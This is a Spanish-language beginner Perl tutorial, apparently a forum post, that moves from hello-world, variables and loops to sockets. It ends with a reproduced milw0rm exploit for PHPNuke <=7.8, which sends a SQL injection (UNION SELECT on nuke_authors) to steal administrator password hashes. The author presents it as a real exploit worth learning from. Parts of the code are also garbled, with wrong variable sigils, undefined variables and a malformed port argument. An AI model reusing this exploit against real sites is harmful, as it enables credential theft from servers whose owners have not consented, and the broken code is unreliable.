Estoy aprendiendo algunas cosas en Perl asi que les voy a explicar un poco de lo que hasta ahora he entendido.
Perl es un lenguaje interpretado el cual consiste en sun software llamado "PERL" existente tanto para Linux(por defecto) como para Windows(activeperl) que ejecuta directamente los scripts creados con extensión *.pl
Por ejemplo: Linux= perl ./archivo.pl Windows= c:\perl\perl.exe c:\archivo.plEl que sepa programar en C o en PHP entonces le resultará muy facil poder aprender perl ya que ambos se basan en lenguaje C++ en su gran parte.
Para comenzar lo primero que haremos es descargar ActivePerl si estás en windows
Descarga y si usas Linux entonces ya viene incluido por defecto.
Ahora en Windows utilizaremos el block de notas o el UltraEdit (da igual), en Linux utilizaremos un editro de texto cualquiera como kwrite o gedit. Nunca utilizar Microsoft Word ni Open Office porque el formato de texto no es el mismo.
En el editor de textos vamos a crear nuestro primero primer script:
hola.pl
Ahora lo guardamos como "hola.pl" y desde Linux ejecutamos
perl ./hola.pl, desde Windows ejecutas
C:\perl\perl.exe c:\hola.pl y en ambos casos verás en la pantalla la palabra "
hola".
Al igual que en C y PHP puedes utilizar
\n para continuar el texto un reglón mas abajo.
Ahora veremos algunas declaraciones básicas.
declaracion.plmy $nombre = 'WHK';
my $saludo = 'Hola '.$nombre.' como estas';
Al ejecutarlo dirá:
"Hola WHK como estas"Si te fijas bién a diferencia de PHP acá tienes que anteponer
my antes de cada declaración o hacerla antes de la siguiente manera:
declaracion.plmy ($nombre, $saludo);
$nombre = 'WHK';
$saludo = 'Hola '.$nombre.' como estas';
De las dos formas da igual.
Ahora que ya sabemos escribir intentaremos usar algunas funciones como while:
while.plmy $i = 1;
my $fin = 10;
while ( $i <= $fin ) {
$i++;
}
Esto significa que escribirá el asterisco 10 veces. Puedes reemplazar
print '*'; por tu código para que se repita todas las veces que sea necesario.
Puedes usar print de la siguiente manera:
Si por ejemplo necesito escribir las comillas entonces se hace igual que en PHP:
print '<body bgcolor"black" text="red"><center><h2>hola</h2></center></body>'; print "<body bgcolor'black' text='red'><center><h2>hola</h2></center></body>";
Si te fijas bién imprimí comillas simples y doble comillas. Si escribo todo con comillas simples o con comillas dobles entonces dará error.
Ahora utilizaremos variables.
variable.pl$v1 = $ARGV[0];
$v2 = $ARGV[1];
print "Tu escribiste $0 $v1 $v2";
Ejecutamos
perl ./variable.pl 10 30 o
c:\perl\perl.exe c:\variable.pl 10 30$0 significa el nombre del mismo archivo y v1, v2 son las variables. Puedes crear todas las que quieras.
Otro ejemplo:
variable2.pl$uno = $ARGV[0];
$dos = $ARGV[1];
$tres = $ARGV[2];
if (@ARGV < 2)
{
print "*=======================================*\n"; print "* EXPLOIT bla bla bla by WHK\n"; print "*=======================================*\n\n"; print " exploit.pl HOST /path/ \n\n"; print " exploit.pl www.victim.com /ruta/ \n\n"; }
print $tres . "prueba\n\n";
if (@ARGV < 2) quiere decir que si no están escritas todas las variables entonces explicará su uso.
Ahora usaremos sockets
no se asusten porque no es tan dificil.
sockets.pluse IO::Socket;
use threads;
$sock = IO::Socket::INET->new(PeerAddr => 'google.cl',
PeerPort => 'http('80')',
Proto => 'tcp');
print $sock "Petición\r\n\r\n";
$send = IO
::Socket::INET->new( Proto
=> "tcp", PeerAddr
=> "$HOST", PeerPort
=> "80") || die "[*] Connect [FAILED]\n";
print $send "POST ".$GET." HTTP/1.0\n"; print $send "Host: ".%HOST."\n"; print $send "User-Agent: Internet Explorer 6.0 [SR]\n"; print $send "Content-Type: application/x-www-form-urlencoded\n"; print $send "Content-Length: ".$length."\n\n"; print $send "Cookie: lang=english\r\n\r\n"; print $send "Connection: close\n\n";
Como se ve acá estamos haciendo una petición GET al servidor de google al puerto 80 con el protocolo TCP.
También puedes usar variables en funciones de sockets:
ejemplo.pl#!/usr/bin/perl -w
use IO::Socket;
if (@ARGV < 2)
{
print "*---------------------------------------*\n"; print "* EXPLOIT for PHPNuke <=7.8 *\n"; print "*---------------------------------------*\n\n"; print " PHPNuke[1] HOST /[path_phpnuke] \n\n"; print " HOST - Host where is phpnuke example: localhost \n\n"; print " PHPNuke[1] www.victim.com /phpnuke/html/ \n\n"; }
$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];
print "phpnuke_path : $phpnuke_path\n"; $OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]\n"; $send = IO
::Socket::INET->new( Proto
=> "tcp", PeerAddr
=> "$HOST", PeerPort
=> "80") || die "[*] Connect [FAILED]\n"; print "[*] Connected [OK]\n"; print "[*] Sending exploit [OK]\n\n"; print $send "POST ".$GET." HTTP/1.0\n"; print $send "Host: ".%HOST."\n"; print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search \r\n"; print $send "User-Agent: Internet Explorer 6.0 [SR]\n"; print $send "Content-Type: application/x-www-form-urlencoded\n"; print $send "Content-Length: ".$length."\n\n"; print $send "Cookie: lang=english\r\n\r\n"; print $send "Connection: close\n\n";
print "[*] Exploit send [OK]\n"; print "[*] Wait for reply...[OK]\n"; while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)<\/b>/ ) {
$OK = 1;
print "[*] Success [OK]\n"; }
if ($answer =~ /=\"0">([^:]*)<\/a>/ ) {
$OK = 1;
print "[*] PASSWORD: $1\n"; }
}
if ($OK == 0) { print "[*] Exploit [FAILED]\n"; }
# milw0rm.com [2005-11-16]
Este es un exploit real que bajé desde milw0rm.
Con un poco de imaginación es posible hacer muchas cosas... se que existen maneras de crear procesos y sub procesos con fork , además de controlar paquetes tcp con rawpackets imitando un spoofing ip entre muchas otras cosas.